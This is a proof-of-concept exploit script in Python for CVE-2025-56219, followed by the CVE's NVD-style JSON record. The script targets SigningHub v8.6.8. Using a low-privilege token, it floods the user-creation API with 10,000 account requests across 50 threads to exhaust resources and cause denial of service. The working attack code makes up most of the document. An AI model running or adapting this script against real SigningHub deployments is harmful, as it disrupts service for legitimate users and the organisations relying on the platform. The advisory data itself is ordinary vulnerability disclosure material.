CVE-2025-56219

# CVE-2025-56219 PoC - SigningHub Arbitrary User Account Creation leading to DoS # Vulnerability: Incorrect access control allowing unlimited user account creation # Affected: SigningHub v8.6.8 # CVSS: 7.1 (HIGH) import requests import json import time import threading from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-signinghub.example.com" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token USERNAME_PREFIX = "dos_user_" PASSWORD = "P@ssw0rd123!" EMAIL_DOMAIN = "attacker.example.com" def create_user(session, index): """ Send a single user creation request to the SigningHub API. Due to lack of rate limiting, this can be called repeatedly without restriction. """ url = f"{TARGET_URL}/api/v1/users" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "username": f"{USERNAME_PREFIX}{index}", "password": PASSWORD, "email": f"{USERNAME_PREFIX}{index}@{EMAIL_DOMAIN}", "firstName": "DoS", "lastName": f"User{index}", "role": "user" } try: response = session.post(url, headers=headers, json=payload, timeout=30) if response.status_code in [200, 201]: print(f"[+] Created user: {payload['username']}") return True else: print(f"[-] Failed at index {index}: {response.status_code}") return False except Exception as e: print(f"[!] Error at index {index}: {e}") return False def exploit_dos(threads=50, batch_size=10000): """ Launch parallel user creation requests to exhaust system resources. """ session = requests.Session() total_created = 0 print(f"[*] Starting DoS attack on {TARGET_URL}") print(f"[*] Threads: {threads}, Target accounts: {batch_size}") with ThreadPoolExecutor(max_workers=threads) as executor: for batch_start in range(0, batch_size, threads): futures = [] for i in range(batch_start, min(batch_start + threads, batch_size)): futures.append(executor.submit(create_user, session, i)) for future in futures: if future.result(): total_created += 1 print(f"[*] Progress: {total_created} users created") # Optional: small delay to avoid immediate connection drops time.sleep(0.1) print(f"[+] Attack complete. Total users created: {total_created}") print("[+] System resources likely exhausted - DoS achieved") if __name__ == "__main__": exploit_dos(threads=50, batch_size=10000)

{"cve": {"id": "CVE-2025-56219", "sourceIdentifier": "[email protected]", "published": "2025-10-20T13:15:44.703", "lastModified": "2025-10-27T13:54:17.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in SigningHub v8.6.8 allows attackers to arbitrarily add user accounts without any rate limiting. This can lead to a resource exhaustion and a Denial of Service (DoS) when an excessively large number of user accounts are created."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "http://ascertia.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://signinghub.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/saykino/CVE-2025-56219", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}